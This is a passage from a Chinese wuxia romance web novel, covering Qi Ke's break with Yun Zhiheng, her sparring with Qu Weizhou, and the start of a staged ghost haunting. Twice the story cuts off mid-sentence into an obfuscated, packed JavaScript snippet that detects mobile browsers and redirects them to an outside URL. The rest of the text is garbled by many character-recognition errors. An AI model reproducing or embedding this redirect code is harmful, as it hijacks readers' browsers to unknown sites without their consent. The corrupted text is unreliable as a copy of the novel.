其四,云公子定亲金浮居掌门之女曲维舟,接曲家女,途径远容山未见宫主,遂 遂往百花阁 珂珂,我方才看第三条的时候不小心扫到的 这个云公子…就是曾经八杰第二位云承允老前辈之孙?如今的太子太傅?"
"是。”齐珂低头呼出一口气:“我们是青梅竹马。"
向玉良久没有说话,就在齐珂以为他会说出劝慰的话……不,这人巴不得美人情场失意,转而投入他的怀抱,再共写一场露水情缘,风流佳话,可谁知,向玉只是开口问道:
"青梅竹马是什么感觉?"
齐珂不解他为何如此问,却还是想了想,答道:“幼年时,是把一块泥,捻一个你,塑一个我。等少年时,便是郎骑竹马来,绕床弄青梅。”
向玉眼中闪过一丝向往,去听齐珂继续道:“但饶是青梅竹马,也做不到两小无猜。而且渐渐地,我们都长大了,青梅竹马的感情里,早就分不清友情,爱情,亲情,孰先孰后,孰轻孰重,一个情字,包含千万重,太重太重了。"
"那我便不羡慕了。"
“什么?”
“于我而言,真正的感情要看清自己的心,若是真心难辨,那我便不去美慕亲梅竹马。哎呀,还是做一个处处留情的浪子好啊,只争朝夕,不问白头,也就没有那么多烦恼了。”“向玉。”齐珂喊住他,犹豫了一会儿,手指微微蜷缩,还是问道:“你为什么觉得我会去找他?”
18、青灯孤影梦魂伤,鳏寡孤独伴夜长
另一边,齐珂从来没有觉得自己的轻功能够这样好,她能感觉雨水打在自己脸上如同千百颗细碎的砂石狠狠刮过脸颊。
就这一次!便再痛最后一回!她抹了一把脸上的雨水,被大雨糊住的眼睛被不算凉冽的秋风吹得生疼,她一路上都没有停歌终于在第二日晚上踏进青阳城青阳城无雨,今夜没有月亮倒是有满天星河。青阳城位置尴尬,既不是农工业中心,也不是商业重城,所以和星桥火树的不夜城牡丹城比起来,青阳城的夜晚格外寂寥。
紫色的身影在屋檐上飞驰,瓦片极其轻微的碰撞声和她的心跳声一样,在寂静的夜里一下一下撞击着她的耳朵,云之恒一行落脚的院子不难找,隐于黑暗中的侍卫最多的地方,就是他在的地方。齐珂轻盈地像一只猫,整座院中没有一个人修为在她之上,只要她不想被人发现,没有人能察觉到她的存在。
三进院落,第二进的正屋中住着她心心念念的人,窗扉半起,檀香幽幽,星河璀璨,在屋中人身前的桌上投下淡蓝色的光晕。
云之恒穿着一件浅色的长袍,没有束发,跪坐在案几前,手上拿着一支判官笔,正在专心致志地写字,墨黑的长发上笼着光晕,满身清贵,温润如玉,仿佛一个不染俗尘的仙人。
但齐珂知道,向玉恒又怎会是仙人?金印紫绶,二十五岁的太子大傅,在波橘云诡的朝局中翻云覆雨,成天子近臣,他的胞黑很辣,令敌人间风丧胆。不过,若不是他的敌人,那云大傅,在京中还是有温良盛名。
“锦袍玉带冠朝首,青灯孤影梦魂伤。风流一世终成恨,鳏寡孤独伴夜长。才高德厚徒留名,寂寞残生空对霜……这是给谁写的判词?”
云之恒听到屋顶传来的声音,向来冷静自持的人眼底的情结剧烈一颤,于中的判盲笔落下,他猛地站起身,身体摇兄,宽大的长袍被风吹起,勾勒出他消瘦的身形,他不可置信地抬起头,先是看到房梁
上垂下的紫色衣摆,顺着衣摆而上,齐珂半坐在长梁山,抿着嘴,对上他眼神的那一刻,她眼中委屈更盛。
“冉冉?”云之恒声音很轻,仿佛是呢喃,他怕眼前是梦,大声些,梦会醒。
“这是谁的判词?”齐珂的唇角微微抽搐,她没有下来,只是看着判官笔上的墨水染黑了大半的宣纸,执拗地问。“不是谁的判词,随手写的,冉冉,你……你下来好不好?让我好好看看你。”
“之恒哥哥,你总是这样”齐珂突然低下头苦笑一声,声音中带着哽咽,云之恒觉得手上一凉,竟是一滴泪水落在他的手背上,他的心仿若被千百根细针扎着,手指微微蜷缩,呼出一气,他没有穿
鞋袜,赤足轻点地,飞身上房梁,他伸出手臂,想亲自确认面前的人不是泡影,却被齐珂挪了些距离让开,她盯着他的脚,幽幽道:
“你看,你明明能上来,却总要我下去。”
“冉冉……”
齐珂抬手止住他的话,再抬头看向他,眼底盛着泪光,却被她硬生生忍住:“我知道你的婚事了。”
云之恒闻言,扶在房梁上的手用力到指尖泛白:“皇命不可抗。”
“我知道,我知道你会这么说。”齐珂亳无章法地点点头,深吸-口气,仿佛攒足了所有的力气,涩着噪了开口道:“但我不死心,仍想问问,我带你私奔,你可愿随我走,从此不问江湖事,不理朝
堂纷扰,天高海阔,我们做一对逍遥道侣,今日只要你点头,我们立刻就走!我乃梵云天境,你的功法也不算差,就算遇到……”
呻冉!”云之恒拾眸,赤忧忧地撞进齐珂的视线,她看透他眼底的深邃,两两相望,彼此的眼眸像是浸了墨,她的眼神中有一瞬的慌乱,慢慢地,眼中最后一丝亮光散去,只剩下无边的沉寂,她咬住
唇,睫毛微微颤了颤,声音轻到仿佛羽毛落在掌心:
“我知道了。”
云之恒垂下眼不敢看他,良久:“冉冉,其实,只要云清宫入世,我们……”
“云清官不是你我感情的筹码!”齐珂打断他,云之恒猛地抬眼,短短几瞬,她像是已经完全下定决心,飞身落地,紫色的衣摆扫落他桌上写着判词的宣纸,拱手遥遥向还在怔怔看着他的云之恒道:
“我今日来,无非求一个答案,如今已经了然,云太傅,今日过后,青山如旧,草色如烟,你我勿复相思,与君长诀,愿君此生喜乐,告辞!”
我不同意!”云之恒再把持不住,眼底偏执瞬起,他飞身而下,桌上花瓶晃动,“啪!”得 声脆响在地上四分五裂,碎片横亘在二人中间,他没有穿鞋袜,直接踏上去,木地板上有鲜血洇出,他却
像感觉不到疼痛一样,一步一步向齐珂走过来。
齐坷的眼神落在他受伤的脚上,眉心下意识蹙起,晃神的空档,手臂被云之恒擒住,他眸中黑色暗涌,眼角微红,猛地使力把她拽进自己的怀里,鸦青的睫羽盖住他眼中的疯狂,他的唇角突然勾起 抹
笑,猛地低头,倾身而下,微凉的薄唇覆上她的面颊,齐珂颤抖着闭眼……
“啪!”响亮的巴掌声终于惊动潜伏在暗处的侍卫,警觉的几人立马翻窗入室。
“滚出去!”云之恒红着眼睛怒吼,他的右脸一个鲜红的五指印,齐回紧抿着嘴,下巴微题,眼神凌厉中带不忍,委屈中适者倔强,她看着云之恒捂着自己的脸,泪眼蒙蒙,眼眶中肥满血丝,如同一片
片破碎的晚霞,他突然笑起来,踉跄着向后退了两步,白皙瘦削的脚再次踏上花瓶的碎片,他的嘴微张,颤了颤,话到嘴边,却深吸了好几口气,才带着不可置信的哭腔出口:
“你打我?冉冉……你打我?”
齐珂站在原地,她觉得哪怕是面对再凶残的敌人她都没有像今天这样过,衣裙下的双阻微顾,从头到脚没有一处不是冰凉的,只有胸腔中那颗孟烈跳动的心脏通过“咚咚咚!”的撞击告诉她;你还活
着,既然还活着,就要活出个人样来,遵从自己的心!
“云公子,自重!”她平生第一次对云之恒说这样的话:“你是有婚约之人,金浮屠掌门之女曲小姐也在院中……”
"我说了,只要云清宫肯入世,你不是不知道陛下的意思……"
“没有这种可能!”齐珂红着眼打断,一字一句:"想都别想!"
好!”云之恒站在原地,死死盯住她,沉默许久,突然,他上前两步,他身形摇兄,走到她近前捏住她的胳膊,诡秘地望向她,情绪迅速扭转,眼中兴奋的光芒毕露,连语速都快了起来:“冉冉,冉
冉妹妹!我依你,我都依你,瞧瞧~"
他想伸手去抚摸齐珂的鬓发,被她预判躲开,她看着他的模样,她知道,云之恒的疯狂不常见,但只要他现出这种状态 她拂开他的手,却别他颠料着一把抓住:“中冉妹妹,你看你,都将我搞糊涂
了,其实我早就想好对策了,你不想云清官入世没关系,我们仍然可以在一起的,我娶她,我也娶你,待我完成大业,便找个由头。我休了她,不不不!我杀了她以绝后患……”
"云之恒!”齐珂猛地将他推开,他还想上前,齐珂甩开腰间的长鞭:“你别太荒谬!"
荒谬?哈哈哈哈~冉冉”他突然冷静下来,冷冷地看向她,眼神中闪过涔涔寒光,他薄唇轻启,声音中
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786398|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有一丝波动:“一条命而已,我是什么样的人,你不清楚吗?过往二十余载,你不厌弃我,
不斥责我,今日怎么了,嗯?我们家冉冉何时变得这样善良了?她又不是你云清宫的人,你在在乎什么?”
“你够了!”齐珂怒道:“云之恒,够了,我今日话已至此,为彼此好,到此为止。”
“你逃不掉!”他轻笑一声,缓缓踱回案桌后,弯腰捡起地上的判词:“四海动荡,庵教卷土重来,陛下有令,集结八杰后人,肃清庵道,还天下大平,冉冉,你我日后,还得路同行,与我决绝
呵,你想都别想。"
“魔教之事与我无关,我不日便回云清宫,你另找旁人吧。”"你不出山,那我便毁掉云清宫。"“你敢!”齐珂暴怒,手中长鞭甩出,将他面前的案桌劈成两半。
“冉冉,你知道我是什么样的人。”
“云之恒,别让我恨你!”
“恨好啊,世间最浓的两种感情,不就是爱与恨吗?恨我便会寻我,你恨透了我,总比相忘于江湖强!”
齐珂站在原地,一眨不眨地看着眼前看着平静但实则已经几近疯狂的云之恒,她低下头,眼眶中的眼泪再也忍不住,一滴-滴砸到地上,在地板上晕出水花。
“冉冉……”云之恒的理智似乎被齐珂的眼泪寻回几分,他眼中闪过一抹痛楚。
你别这样好不好,之恒哥,你别这样”她憋了两天的情绪在这一刻奔涌成河,就这样站子原地,任泪水决堤,云之恒觉得自己的心被斯成千片万片,他新料着起身上前,却在看到齐珂后退的脚步时
愣住:"冉冉……"
“你别这样…我害怕你这样…我从小就害怕你这样……”她掩面呜鸣哭起来,云之恒心痛到无以复加,想将她拥入怀中,却又怕惊到她的冉冉,他的指尖颤科着,嘴张了张,声音哽咽:
“中冉 对不起 我不该…不哭了好不好?我不逼你,你想怎么样就怎么样,好不好,但是”他犹豫着上前两步,脚上被碎片划开的伤口又深了几分:“但是…你别不要我,别不要我”
齐珂摇头,泪眼模糊中,她看见面前人的身影都向传起来,云之恒失魂落魄地站着,她的心猛地秋住,但最后的理智将她拉了回来:“不是我不要你,之恒同…对你而言,是皇命难违,对我而言,是及
时止损。我们不可能在一起了,若是我还陷在里面,那我就不是我了对吗?我不想变成我自己最瞧不上的那种人..…”
“所以,之恒哥,我不是不要你了,我是放过你了。为了彼此都好,你……也放过我吧……”
“我不……”
但这次,齐珂没有再听他把话说完,她咬紧牙,下定决心头也不回蹿上云端,只几个点步,就已将身后所有追她的人甩开,云之恒的侍卫没有人能追得上她,云之恒自己也追不上。
不知为什么,她的脑海中突然闪过那只白孔雀的身影,他趁她不备,贱兮兮地揪住她的高马尾,被揍得鼻青脸肿,也还会扑棱着
各种颜色的骚/气袖子,捂着被打肿的眼睛嚷嚷:
"我就说吧,你这暴脾气,就绝不是拖泥带水的人!"
明明心中苦涩,齐珂却还是笑出声,今夜没有月亮,满天星河璀璨,她偶然抬头看见呈空,像是满河星中有一叶扁舟独行,穿着粉色长袍的向玉慵做地脑在小舟里喝酒,他半撑起头,对向他看过来的齐
珂抛了一个十分油腻的媚眼,齐珂轻笑:
“还真被你说准了!”
"那是自然,身无彩凤双飞翼,心有灵犀一点通,这世上没有人比我更了解美人~"
19、金浮屠曲维舟——侠女不谈风月,只谈快意江湖
繁星点点山脉的轮廓在远处若影若现,青阳城五+里处有一片山野,齐珂在靠山的一面找到一个山洞,里面还有一些猎户生活过的痕迹,不过看草席上积的灰尘,这里有些日子没有人住过了。
她捡了一些柴火生起火堆,火光摇曳,噼啪作响。
鸣……鸣鸣……哇哇哇!!”空旷的山野间,齐珂的嚎哭声惊起在树干上歇息的乌鸦,乌鸦很不满地从枝头飞起,落在洞前,探头朝洞里张望,一双小眼睛鄙夷地瞅了眼齐珂。
看个屁啊!没看过美女哭啊?!”她随手拿起身旁的小石子砸过去,乌鸦不满地嘎嘎叫着,扑棱着翅膀飞走,落下两片羽毛吹进山洞,落在火堆里化成一缕黑烟。
齐珂更伤心了,虎落平阳被鸦欺:“混蛋云之恒,王八狗皇帝!”
她边拍大腿边骂:“啊!嘶——疼疼疼!!”她猛地抬起被腰间香囊里的东西格到的手:“什么玩意儿?!连你也膈应我!!”
她一把解开香囊上的带子,把它丢出去,“啪!”里面好像装着木头,落在地上声音脆生生的。
她抱膝坐在火堆旁,看向被扔在地上的香囊,香囊上绣着一只七彩孔雀,她眼前浮现出向玉那张漂亮的脸,即使在阴云下也熠熠生辉:
他此出一口整齐漂亮的牙齿冲她笑,伸手往她腰间挂上一个香囊。
“这是什么?”"哎!现在别看!先挂着。""你又整什么幺蛾子?那何时看?"“等该看的时候看。”
………
等该看的时候看……
齐珂犹豫一会儿,探身把香囊拿回来,用手摸了摸,里面的东西像是一根拇指长的粗短棍子,她好奇地解开香囊上的绳子,一根又粗又短的小木简,分了两层,外面的一层可以转动,榻子端有一块琉璃
石,另一端像是一面铜镜,她将木筒拿在手上翻来覆去看,小心翼翼地举到眼前….
忽然,她看到木筒里居然有画——《青白蛇断桥》!
她觉得新奇,不自觉又眯起一只眼睛凑近了些,手不小心碰到外层的木片,木筒里的画面居然开始动起来:白蛇临产在即,青白蛇与许仙断桥再见,青蛇恨许仙负心汉,拔剑相向。但画中的故事与话本不同,话本的最后,白素贞与许仙伉俪情深,劝说青儿;许赔罪认错,三人言归于好。
但木筒中的画——白素贞怒揍“负心汉”,去父留子。故事的结局,白蛇未被镇压塔下百年,青蛇未走,姐妹二人最初心愿达成,相偕成仙。
“扑哧!”齐珂反复转动着木筒,故事一遍遍重演,羽化登仙的结局一遍遍放映:“真有你的。”
她轻笑:“这足料到了?”齐珂举起木简,忽然唇边的笑高止住,面前火堆的火花微不可见地向洞内偏了些,她眼中戾气爆起,冷笑一声,先将木简重新放回香囊里,再把香蠹牢牢地系回腰上,随高捡
起身旁的一根枯树枝丢进火堆里,冷笑一声:
“阁下躲什么,既然来了,不妨现身一见!”
洞外的光影暗了暗,阴影处慢慢走出一道倩影,身后背着双板斧,踩断洞前的树枝,一步步走到洞前,开口,声音居然意外地清脆好听:
"还是被前辈发现了。"
九两雷霆斧,金浮居曲维舟?”齐珂瞥了一眼她身后别着的银色斧头,满不在乎地把树枝腑断丢进火里:“如果你是为了云太傅而来,奉劝一句,我与他前尘已断,不会成为你二人阻碍,你不必找
我。更何况……"
她侧过脸将人上下打量 番,曲维舟个子不算高,看上去也不过十五六岁,脸上还有些婴儿肥,编着侧麻花辫,即使星光下人的五官有些模糊,但她飒爽英姿,蓬勃的生命力隔着些距离都能看得分明。
"你的修为刚跨过结气期,找我动手,与寻死无异。"
"为了云之恒?”听到齐珂的话,曲维舟反倒一愣:“他算个瓜/蛋/球/球?!"
“什么?”齐珂挑眉,还没搞清楚状况,洞外的曲维舟突然俯身抱拳对齐珂行了一个大礼,齐珂吓了一跳,从石头上跳了起来,听曲维舟慷慨激昂道:
齐前辈大名,在江湖中如雷贯耳,年少成名,女中豪杰,乃吾辈典范!我自幼听前辈侠事,一心想成为和前辈一样的盖世女侠,今日得见前辈,欣喜若狂!”
“等等,你……我…..?”齐珂疑惑地用手指指自己。
前荤!”曲维舟兴奋往前踏上一步,火光照在她的脸上,她内嘟嘟的双颊泛红,一双杏眼炯炯有神:“在下仰蒙前差盖世神功,不知今日可有机会,请前辈指教-二,以我金浮居家传战芹问前辈神顺
血月?"
你”齐珂被她搞得错愕不已,她神情中有一瞬的茫然,挠了挠头,见面前的少女言辞恳切,眼神说不出的激动,她尴尬地笑笑,点点头:“指教说不上,要不咱切磋切磋?”
“真的?!多谢前辈!”曲维舟控制不住脸上的高悦,她的脸庞燃烧者激情,双眸明亮如星辰,从身后抽出自己的战斧,银色的 头在火光下闪者耀眼的光辉,她再次俯身,声音部因为激动而微微额
抖:“请前辈赐教!”
“去外面!”齐珂
闪身而过,曲维舟只觉得耳边划过一丝冷风,眼前身影一晃,等她回身寻找时,齐珂已经负手立于洞外一棵歪脖子树上,她看向曲维舟,伸手作出一个“请”。
前辈,得罪了!”曲维舟眼中是抑制不住的兴奋,手持双板斧飞身而上,腾空而起,力灌战斧,对着齐珂劈头就砍,齐坷不躲,芹头上的梯形刀片正对眉心,仅一寸就要挨上时,突然,她的头向右一
偏,脚不离树,尽然直接绕着树枝荡了一个圆形,绕至曲维舟身后,双指在她肩膀上轻轻一点,一套动作举重若轻。
曲维舟只觉得身上仿佛突然压上干斤顶,她的身形控制不住,直直朝地上扑去,将要落地之时,奋力甩出手中战斧,沉重的并头入地二尺,斧柄在外,她脚路芹柄旋身而起,借力拔出斧头,战并斩下纷
飞的树叶,划破夜空,发出刺耳的尖啸,旋转如陀螺的银色战斧带着被砍成斧片形状的树叶朝齐珂急驰而去。
"飞花摘叶,好功夫!"
正是我金浮居燃芹绝第六式—丰草长林!!”曲维舟踏树而上,齐回赞许地点头,忽然离枝宦起,踢断脚下的树枝,她凌空翻身,抬腿横扫,树枝瞬间化作 条韧性十足的长鞭,冲向如同千军万码飞地而来的战斧和树叶,枯枝破阵,犹如重鞭温击,急如闪电,力道之强劲,万千树叶瞬间灰飞烟灭,林间簌簌下起绿粉,银色的战芹被树枝重重一挡,发出震耳欲管的轰鸣,则得被狠狠甩到远处的树干上,两株枝干遒劲的大树应声倒下,荡起一地尘埃。
曲维舟只觉得双手被震得发麻,她有些证愣地站在树上,看着齐珂不费吹灰之力,不仅血月未出,甚至全程都是背者双手,就已经将她的武器打落,她一时有些挫败,却听齐珂的略显严厉的声音在耳边
响起:
"身法不错,内力不够,若想出奇制胜,不拼强度,拼速度,再来!"
话音刚落,齐珂身影已至身前,掌风如刀,拳拳带风,呼呼作响,一掌比一掌更急速,拳比-拳更狠厉,曲维舟心中大惊,隔空召回战斧奋力格挡,但齐珂的速度大快了,一掌-拳连编不断,丝毫不
给她喘息的机会,她能堪堪接住一记手刀,必守不住下一发直拳,一时间身上挨了许多下,她不免呼痛,却听齐珂继续道:
拳掌再快,亦有缺口,找发力口!再来!”说罢,不等她思考,挥拳而出,这次居然直取其要害,曲维舟凝神,身子向后-跃,但敌不住齐珂比她更迅捷,她纵开一丈,齐珂便贴近一丈一尺:绝对悬殊的实力面前,躲是躲不掉的!找气门,破!”又是一掌而过,曲维舟只觉得嘴里泛出血腥味,她凝神,忍住身上的疼痛,真按照齐珂说的,在又快又密的拳掌中去寻齐珂破绽。“是天突穴!”她一声暴喝,顶着攻击腾空而起,两柄战斧势如破竹,直冲齐珂天突穴劈斩而去,齐珂脸上露出欣慰,提声叹道:
"来得好!"
战芹冲破掌风拳雨束缚,冲她飞至而来,她却突然改掌为钩,手指越缩,飞快握住曲维舟的手腕,头向侧边一偏,借力打力,将她势不可挡的力道全部化去,再云手推出,内力磅磁雄厚,如大江奔腾,
纵使曲维舟运起全部真气阻挡,却仍被推出去数丈远。
飞叶落地,风止树静,二人落地,齐珂将手背到身后,看着隔了些距离,正在从地上勉励爬起来的姑娘,赞许地点了点头:“你不错。”
曲维舟脸上满是失落,头上身上全落了灰:“可找着了气门,却还是破不了前辈的阵。”“对手不会傻傻等着你取其名命门,一招过后仍有后手,要想提升功法,唯有一招一招破,急不得。”曲维舟年纪小,情绪来得快去得也快,听到齐珂如此说,她一扫阴霾,郑重对她一拜:“晚辈受教,多谢前辈!”“客气~”齐珂大咧咧摆摆手走回山洞,曲维舟用自己的衣裙仔仔细细地把斧头上的泥土擦干净,也跟着齐珂进来。“你跟着我做什么?问武问完了,早点回去。”齐珂往火堆里添柴,找了一处还算平整的石壁靠着,抻了抻腰:“我要睡了,没空招呼你。”
“前辈!”曲维舟抱着两板斧上前,蹲到齐珂面前,一双杏眼圆溜溜的,满是憧憬:“前辈接下来要去何处?我能跟着前辈您吗?”
齐珂后仰,微微眯起眼睛:“跟着我……你不是要回去成婚吗?”
“谁要成这个破婚!”曲维舟恼火地在齐坷跟前一屁股坐下:“我曲维舟要嫁,也要嫁给行侠仗义,仗剑江湖的盖世英雄!才不是在朝堂上玩弄权术的乱臣贼子!”
“你这……用词不对啊!”齐珂赶紧纠正她:“乱臣贼子不是这么用的,再说了,朝堂之上也不乏为家国鞠躬尽瘁的清流之辈,不能一棍子把人打死。”
“那前辈觉得云太傅是何种人?家父言其温润如玉,但途径前辈远容山时,我可是亲眼见他虐/杀过人的!”
“此事不知全貌不予置评,不过他确实不是京都所说温良之辈,但说得再难听,也顶多是狠辣权臣,算不得奸佞鼠辈。”
“我不管,反正我就是不想嫁!母亲说了,我正当少年,正是横刀立马,闯荡江湖的年纪,不应居于内宅,困于四方牢笼,未遂凌云志,岂甘嫁于匹夫
了了一生?”
“呃……”齐珂挠头:“其实他也没你说得那么不堪啦……不过……”她冲曲维舟竖起大拇指:“有志向!但你既不愿嫁,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855874|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为何这一路还会跟云太傅一道?”
唉,别提了!”曲维舟掀开泡子,叉开腿坐得舒服些,转向齐珂,一脸可惜:“我娘和我在家里把脾气闹得太大,我爹一看,这不行啊,京都来的车驾都快进城了,所以就把我娘关了起来,把我打量
上了轿子!"
她猛地一拍大腿:“现在想想,当初就该收敛锋芒,假意迎合,我娘也不至于先被关押,没法联系门下给我接应,前辈,不瞒你说,我这一路都在想逃婚之策,光是逃跑路线,我就画了七七四十九种。
但计划赶不上变化,都被云太傅这个狗官给收走了。”
她愤愤腑断手上的树枝,像是在册云之恒的脑袋:“我想硬间,但他自己是元婴之境,麾下跨过结气期者不少,我双拳难敌四手,便深觉不能动粗,要智取。正好,今日前辈您来了,我看许多人被分出
去追您了,这才逮着机会逃出来。"
齐珂猛地坐直:“那你一路暴露行踪没?可别连累我。”
“放心放心,我迂回许久,等他们都走了,才敢偷偷再绕回您找您。”曲维舟一脸骄傲。"你这追踪的本领——不错嘛。"
“那是自然!”曲维舟正色道:“我金浮居品擅迫踪术!唉~”她突然叹了口气:“只是娘亲说,江湖之上,若要论迫踪,最厉吉的当属碧波岛云策山庄谢家,只是可叹十一年前谢家性遭庵教余孽灭
门,无一活口,一代大宗落幕,不然,我还真想去讨教讨教。”
齐珂没有说话,她静静看着面前拿着树枝在地上无聊画圈的姑娘,半晌,突然问道:“嘶~等等啊,小朋友,你现在的行为算逃婚吧?陛下赐婚,你逃了,你家里人怎么办?”
“我都想好了!”曲维舟将树枝-丢,神情倔强,在火光的映照下,坚定得仿佛一位假然赴死的义士:“一人做事一人当,若陛下真要对我家人发难,我大不了提头去见!侠客入世,死本是终局!但我
宁死,也不要困于后宅,了此残生。当然,死前若我能在江湖走一遭,杀几个盗匪,与天下群豪论几次英雄,也不枉此生!”
齐珂看着她侃侃而谈的模样,她的眼中光芒闪烁,竟比火光还要明亮耀眼,她突然想到许久之前看过的一句话:我等猖狂而来,也当纵歌而去。少年人,当是这般模样!
“前辈~”曲维舟拉回齐珂的神思。
“嗯?”
“如果今日你是我,你会如何做?”
“你心中既有自己的答案,又何须问我?”齐珂又靠回去,嘴里不知何时叼了一根枯草。
“我虽坚定心中热血,但又觉得娘亲曾经的教诲有理,闯荡江湖,不能只凭一身意气,还要多听多看,所以想问问前辈,前辈会如何做?”“我若说,如果我是你,我就立刻回去,眼一闭嫁了!不给家族添乱,你会听我这个前辈的意见嘛?”“不会。”曲维舟摇头:“这与我所想相悖。”“那便遵从自己的心,别听太多看太多,境由心造,每个人的江湖都是不同的,个人有个人的江湖,问别人没有意义。”
曲维舟若有所思地点点头。
“不过,方才那个问题,你若真烟知道我的答案——”齐珂把枯草从嘴里拿出来,揪在手上把玩:“我和你一样,我若不愿嫁,那便逃婚,陛下要杀我,我就杀陛下,反正请罪是死,弑君也是死,那还
不如死前把一切苦难的源头给杀了,黄泉之下也能瞑目,不亏!"
“弑/君?!但陛下是明君……杀明君……”
他是明君昏君与我何干?我无兼济天下之大志,陛下明德,天下大平,我和我的家人隐居于世,乐得自在。若陛下昏庸,四海动荡,我自认没有救世之德,但也足够于乱世中护全家无虞。至于若是我
将陛下杀了,陛下的人再将我杀了……人死灯灭,这一世都结束了,那这一世的家人亲朋我便也管不得了,所以啊,小朋友……"
齐珂往曲维舟的方向靠了靠:“你方才说要眼有我,不是我不带你闯荡江湖,是你跟有我根本间不了江湖,手头事情一了,我就回云清官了,你不想居于一隅,但我往后余生,大概是在云清宫躺平,混
吃等死。你还年轻,但我年纪大了,这江湖啊,我可闯不动。”说着,她打着哈欠伸了一个大大的懒腰往后躺平,曲起膝盖翘起脚,脚尖冲洞口晃了晃:"走吧,我要睡觉了!"
"前辈哪里年纪大了?您只是年少成名,如今不过也才二十出头!前辈….…"
“哎呀!你真的很烦哎,我要睡觉!”齐珂翻身朝里,捂住耳朵不听她絮叨,但一双手却伸过来拽她的袖子。
"前辈……"
你还想干响呀?”曲维舟看着躺在地上,身上沾上泥士的齐珂,犹豫 会儿道:“离此地不远,有座驿站的,前辈若要休整,我们去驿站吧,总比荒郊野外强,驿站还能吃点馒头,讨口水喝 ”
“不去!”
"为何?驿站离此地不远,慢行也不过一炷香。"“小朋友。”齐珂又
给自己翻了个面:“第一次跑江湖吧。”“嗯!”
“知道成为侠客的第一条是什么吗?”曲维舟摇头。
“以天为被,以地为席,饿一次肚子,睡一次桥洞,俗称修身养性!”
20、落霞村李大锤幽魂索命
“江湖当真如此?”
"就是没钱!"
君莫坐在轮椅上,将烤好的饼扔给在百花空地前拿根棍子盯着四个孩子扎马步的谢明,谢明看也不看反手接过,还是焦的,却总比昨日炭化的烧饼好,他扔掉棍子,看着面前腿直打颤的孩子们:“回家去
吧,明日再来。”
曲维舟拿着一块饼难以下口,齐前辈烤的兔子半生带血,这个漂亮姐姐烤的烧饼硬如磐石,她认命地咬住。
大概,这就是江湖吧。
"齐前辈呢?一下午没见她人了。"
谢明就着水艰难地把烧饼咽下去,撩了撩眼皮,还是没搭理她,但发尾吊着的凤尾铃铛摆动的声音更响了,像是在表达着主人的不耐烦,叽叽喳喳了一个下午,他恨不得把她的嘴堵上。
这样硬的烧饼,都不能让她闭嘴!
“大概去挑粪了。”君莫歪头扯下一块烧饼,与两人隔着一丈远,目光如冰霜淡淡地扫了扫闷头啃烧饼的少年和在一旁叽叽喳喳的少女,冷着张脸轻嗤。
“挑粪?”
万丈苍穹,星星淡然无光,黑沉沉的夜色笼罩着整座落霞村,不闻蝉鸣,不见鸦啼。
两道身影隐在一棵枝叶繁茂的老树上,呼吸相闻,齐珂忍不住用手指抵住鼻孔,悄悄往一旁挪了挪。
珂珂,你这样就伤人了。”向玉面上蒙着一块熏了香的帕子,熬恼地看了一眼身上罩着的劣质白袍,拨开披在脸上的长发:“又不是我想去挑粪的,这不是要平民怨吗?”"也没人让你去掘人家祖坟啊。嘘!"
树后的一户人家,三间屋子里的灯熄了两盏,唯有左起第二间的纸窗还映着油灯的浅光,窗旁一方小桌,桌后一道佝偻的身影。
“现在动手吗?”
“再等等。李大锤亥时三刻才死。”向玉按住齐珂,被她有些嫌弃地躲开:“待会儿若是问起,便道幽都气味重,忘川河涤不尽身上尘,你臭香交织,太恶心了!”面纱下的向玉委屈极了,但不敢开口反驳,只能静静趴着。
星光愈来愈淡,山上开始起薄雾,两人见时辰到了,悄无声息翻过栅栏潜进去,熄灯的屋子里传来淡淡的鼾声,只是那间亮灯的屋子里,书桌后的人还在提笔写些什么。
右起第一句:利民之事,丝发必兴;厉民之事,毫末必去。
左止最后一句:安得广厦千万间,大庇天下寒士俱欢颜。
林老头抬笔,身影在烛光下淡入萤火,仿佛须臾之间就要散去,不知道从哪里吹来 阵风,秋风丝丝入骨,他括着嘴咳嗽两声:“英雄身先士卒,死为终章,莫要怪我。”
“滴答——滴答——滴答——”突然,窗外传来缓慢,清晰的水滴声,他的手一顿:“绾绾怎没拧紧水阀?不对!”
他忽然呼吸一窒,捏紧手中的笔:何处传来的水声?
水声停了,寂静的夜里,铁链在地上的拖动发出的刺耳的声响从远处滑过来:
"哗啦——哗啦——哗啦——"
声音越来越近,就在他的院子里,转啊,转啊,慢慢地,从前院的槐树下拖到后院的菜地旁,再滑过二间寝房,哗啦——哗啦——哗啦——墙上突然映出了一道影子,长袍及地,黑发掩面,手上拉着一根飞钩,飞钩的铁爪拖在地上,哗啦——哗啦——哗啦——他认出那根飞钩,脑袋轰得一下,手上的竹笔啪嗒掉落,未干的墨水渐渐染黑了整张纸,连最左侧刚写的字都看不见了。他眼中闪烁着惊恐,险些失声尖叫,满是褶皱的手颤颤巍巍地举起来:“李……李李……李少侠?你……你你……”那影子越来越大,等有墙高的时候,突然停住了,一动不动,空气中飘来一股令人作呕的腐臭味。
墙上的影子没有脸,但林老头却真真切切地感觉到,影子在看他,他牙齿直打颤,这下牙缝哆哆嗦嗦,再挤不出一句话来。
